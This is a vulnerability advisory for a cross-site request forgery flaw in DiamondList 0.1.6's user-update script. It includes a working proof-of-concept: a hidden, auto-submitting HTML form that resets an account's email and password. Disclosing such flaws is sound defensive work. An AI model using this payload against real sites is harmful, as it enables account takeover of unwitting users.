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XSRF (CSRF) in DiamondList



Vulnerability ID: HTB22517
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist ) 
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/user/main/update_user/1"; method="post" name="main" >

<input type="hidden" name="user[email]" value="admin@xxxxxxxxxxx" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version